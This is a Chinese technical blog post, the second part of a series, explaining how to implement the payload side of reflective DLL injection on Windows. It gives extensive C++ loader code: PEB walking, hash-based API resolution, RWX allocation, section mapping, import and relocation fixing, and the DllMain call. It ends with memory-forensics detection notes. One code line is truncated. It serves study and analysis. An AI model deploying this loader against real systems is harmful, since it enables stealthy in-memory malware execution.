| 关联规则 | 关联知识 | 关联工具 | 关联文档 | 关联抓包 |
| 参考1(官网) | |
| 参考2 | |
| 参考3 |
前言
上一篇帖子《常见进程注入的实现及内存dump分析——反射式DLL注入（上）》中，实现了反射式注射器的Dropper，这篇帖子中，将会实现Payload——DLL文件。个人认为，反射式DLL的精髓就在于DLL的反射加载功能。
[出自:jiwo.org]
环境
OS：Windows 10 PRO 1709
IDE：Visual Studio 2015 Community
语言：Visual C++
Payload：DLL的实现
原理：
将已经注入到目标进程的DLL加载到内存，实现LoadLibrary的功能。
步骤：
这里我先描述下大体的流程，后面会展开。
获取目标进程PEB，从而获取一些需要用到的函数地址，如：VirtualAlloc。
复制PE头，由于PE头的形态并没有像节一样需要展开，所以为复制。
解析PE头，并加载节，与2不一样的是，这里用的是加载，到了节这里，已经在PE头中的信息指定了RVA，所以这里要进行“加载”。
处理导入表，获取导入函数的地址。
处理重定位表，由于基址和默认的加载地址不同，所以需要修改重定位表，否则，程序内的直接寻址会出问题。
调用镜像入口点，到这里，镜像已经加载完毕。
由于直接编写DLL，直接进行反射加载，无法用VS进行调试，所以我之前新建了一个可执行的项目，在该项目中，实现了加载的功能，后续只需将函数导出，和变换下加载的DLL即可。
详细步骤：
获取DLL起始位置。
//caller功能：获取当前指令的下一条指令的地址。
uiLibraryAddress = caller();
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
//pe头偏移RVA
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
//判断PE头的正确性
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
//pe头在内存中的位置
uiHeaderValue += uiLibraryAddress;
//如果找到文件头就退出循环
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
我在调试的可执行的Demo中，更改的。
//callAddress：在缓冲区开辟空间的起始地址，在原注入中uiLibraryAddress = caller();0x10偏移是为了模拟寻找起始地址的过程
uiLibraryAddress = callAddress + 0x10;
获取目标进程PEB，获取需要的函数地址，需要的函数有：VirtualAlloc(用来为镜像要加载的地址分配空间)、LoadLibraryA（处理导入表）、GetProcAddress（同上）、NtFlushInstructionCache（刷新数据，让CPU执行新指令）。
获取PEB的方法：FS：[0x30]和GS:[0x60],前者为32位系统，后者为64位系统。从下面的图中是微软公布的PEB的数据结构（在网络上可以找到更详细的结构），在_PEB_LDR_DATA这个数据结构中，存储着当前进程所加载的模块信息，就是我们想要的，我们需要遍历已经加载的模块，从中找到我们需要的模块，获得以上几个函数的地址。（会在附件中上传详细的PEB图）
提示：在解析PEB的结构的时候，要注意字节对齐的问题，以前没有注意到结构体的这个问题，算是填了个坑。
PEB及_PEB_LDR_DATA的数据结构
模块之间的关系（来自网络，侵删）
由以上两图，贴出代码如下：
uiBaseAddress = __readgsqword(0x60);//peb结构的地址
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
//当前模块名地址
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC = 0;
//计算模块名的hash
do
{
uiValueC = ror((DWORD)uiValueC);
// normalize to uppercase if the madule name is in lowercase
if (*((BYTE *)uiValueB) >= 'a')
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while (--usCounter);
//获取目标进程中的接下来需要的函数地址
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
{
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 3;
// 找函数
while (usCounter > 0)
{
dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
{
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_3
在上面的代码中，获取函数地址的部分没有具体写，上一篇帖子中详细的说明了获取的过程，差别就是上一篇帖子中需要将RVA转化为文件偏移。代码中有一些Hash值，这种方法在shellcode中比较常见，shellcode中是为了减小空间，这里除了这个原因，我在用IDA查找信息的时候并不能从字符串中直接找到函数名，也许这也是一个原因。（如有错误，或者其他原因，欢迎指出）。
开辟缓冲区（DLL要加载到的空间），复制PE头和节表。
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
//分配空间，首地址即为DLL加载的基地址
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;//所有头+节表的大小
uiValueB = uiLibraryAddress;//DLL的起始地址，即缓冲区的起始地址
uiValueC = uiBaseAddress;//dll将被加载的地址的起始地址
//复制头和节表的数据到新开辟的缓冲区
while (uiValueA--)
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
PE头和节表可直接复制的原因：
映射关系（来自网络，侵删）
根据节表加载节。
//节表的第一项
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
//pe中节的数量
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
//节的虚拟地址
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
//节的文件偏移地址
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
//节的大小
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//拷贝数据
while (uiValueD--)
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
//下一个节
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
处理导入表，导入表的结构图在上一篇帖子中没有详细画，附件中会更新。
代码入下：
// uiValueB ：导入表地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
//基地址+RVA即导入表描述符的地址VA
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
//链接库名字
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
//使用LoadLibraryA将需要的模块加载到内存
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
//指向INT的IMAGE_THUNK_DATA的VA
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
//要导入IAT的IMAGE_THUNK_DATA结构体
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
// 迭代函数，如果没有名，则获取序号
while (DEREF(uiValueA))
{
//在调试过程中发现都是获取的函数序号
// sanity check uiValueD as some compilers only import by FirstThunk
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
uiValueB = (uiBaseAddress + DEREF(uiValueA));
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
uiValueA += sizeof(ULONG_PTR);
if (uiValueD)//INT
uiValueD += sizeof(ULONG_PTR);
}
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
同样，关于导出表的部分没有详细注释，已经在上篇帖子中有详细的介绍。
处理重定位表，由于基址改变，所以程序中的一些直接寻址等会出问题，所以要更改重定向表。
接下来需要用到的重定位表的关系
代码如下：
//实际装载和建议装载的偏移，原重定位表中的值是以程序建议的装载地址为基址
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;//程序建议的装载地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)//重定位表大小
{
//重定位表的地址
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)//重定位块的大小
{
//重定位内存页的起始RVA
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
//重定位块中的项数(整个块的大小减去结构体的大小，得到重定位项的总大小，除以每个重定位项的大小)
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
//重定位块的第一项
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//遍历重定位项
while (uiValueB--)
{
//重定位项的高四位代表此重定位项的类型
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
//下一个重定位项
uiValueD += sizeof(IMAGE_RELOC);
}
//下一个重定位块
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
调用程序入口点，使其执行DllMain，并传递消息为Dll的状态为DLL_PROCESS_ATTACH（这个消息在上篇文章中有讲到）
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);//调用入口点
分析：
在这种的注入是实现中，很少从外部导入函数，且使用了目标进程的部分导入库和函数，所以在IDA的导入中没有什么有价值的信息。不过，回忆整个流程，我们会发现这种注入有特别的地方，如获取PEB，如图，双重循环获取系统函数等，而且，这种注入由于需要修复的重定位表，也会使用双重循环。
在导出函数中，由于在注射器中会通过导出表来获取反射函数的地址，所以导出表中会有一个反射函数，且加载功能都是在反射函数中进行的。
从内存分布看，由于都是新开辟的空间，且需要执行代码，所以权限都为RWX，如果查看内存，小的那段的开头，一定是MZ。
将小的那段内存dump出来，虽然大小和原DLL有稍微的不同，但直接拖到IDA是可以进行分析的，因为那段内存就是dll本身。
最后
全部源码地址：https://github.com/SudoZhange/ProcessInjection
参考
代码：https://github.com/stephenfewer/ReflectiveDLLInjection
《Windows PE权威指南》
《深入解析Windows操作系统》
《加密与解密》
